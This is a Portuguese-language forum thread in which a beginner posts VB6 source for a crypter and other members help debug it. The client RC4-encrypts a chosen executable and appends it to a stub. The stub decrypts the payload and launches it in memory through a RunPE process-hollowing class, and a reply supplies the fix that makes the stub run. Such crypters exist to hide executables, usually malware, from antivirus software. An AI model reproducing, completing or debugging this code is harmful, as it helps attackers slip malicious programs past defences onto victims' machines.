Alguêm que intende de cripter pode dar uma olhada aqui por favor ?

[Estranged]

Bom galera comecei a usar o VB6 ontem,
dai fui tentar fazer um Cripter... eu olhei um video tuto no youtube mais a qualidade não tava muito boa ...
eu consegui fazer o client e tudo , más depois que eu passo o cripter em algum programa ,
eu tento abrir esse programa ai aparece uma janelinha dizendo : "Run time error 91, Object variable not set" , tipo galera vou deixar em quote aqui o que eu to usando no VB pra criar o Cripter ... Tem como alguêm me dizer por favor onde estou errando ? Obrigado Dês de Já Obs : Se eu tiver postando em local errado , me desculpe po rfavor.

Client

Private Sub Command1_Click()

CD.Filter = "Executáveis|*.exe"
CD.ShowOpen

Text1.Text = CD.FileName



End Sub

Private Sub Command2_Click()

Dim StubData As String
Dim Filedata As String

Open App.Path & "\stub.exe" For Binary Access Read As

#1
StubData = Input(LOF(1), 1)
Close #1

Open Text1.Text For Binary Access Read As #1
Filedata = Input(LOF(1), 1)
Close #1

Filedata = RC4.RC4(Filedata, "pierre")
CD.Filter = "Executáveis|*.exe"
CD.ShowSave

Open CD.FileName For Binary Access Write As #1
Put #1, , StubData & "_pierre_" & Filedata
Close #1

MsgBox "Encriptado com sucesso ! by Pierre"

End Sub

Stub

Sub Main()
Dim Data As String
Dim RunPE As cPEL
Dim buffer() As Byte

Open App.Path & "\" & App.EXEName & ".exe" For Binary

Access Read As #1
Data = Input(LOF(1), 1)
Close #1

Data = Mid(Data, InStr(Data, "_pierre_") +

Len("_pierre"))
Data = RC4.RC4(Data, "pierre")

buffer() = StrConv(Data, vbFromUnicode)

RunPE.RunPE buffer()


End Sub

[gomez.rubens]

Você errou na stub, você colocou: Dim RunPE as cPEL

o certo é,
Dim RunPE As New cPEL

[Scorpion_Black]

Vb

Bom galera comecei a usar o VB6 ontem,
dai fui tentar fazer um Cripter... eu olhei um video tuto no youtube mais a qualidade não tava muito boa ...
eu consegui fazer o client e tudo , más depois que eu passo o cripter em algum programa ,
eu tento abrir esse programa ai aparece uma janelinha dizendo : "Run time error 91, Object variable not set" , tipo galera vou deixar em quote aqui o que eu to usando no VB pra criar o Cripter ... Tem como alguêm me dizer por favor onde estou errando ? Obrigado Dês de Já Obs : Se eu tiver postando em local errado , me desculpe po rfavor.

Client


Stub

Kara em primeiro lugar é recomendado renomea os caption de cada botão de acordo com a função.
Em segundo as variaveis que voçe declarou no client não coencide com as da stub.
E por terceiro e ultimo as informaçoes que postor ainda estão a desejar , não mostrou os modules e as class isso é fundamental no funcionamento.
Tem um video meu que deixo uma souce aberta para estudos se quiser da uma olhada para ver se entende melhor pelo fato de estar começando vou deixar o link abaixo.
[ame]http://www.youtube.com/watch?v=k0q9Tzncn48[/ame]
[ame]http://www.youtube.com/watch?v=gzUlkKghgic[/ame]

Boa sorte nos estudos ...........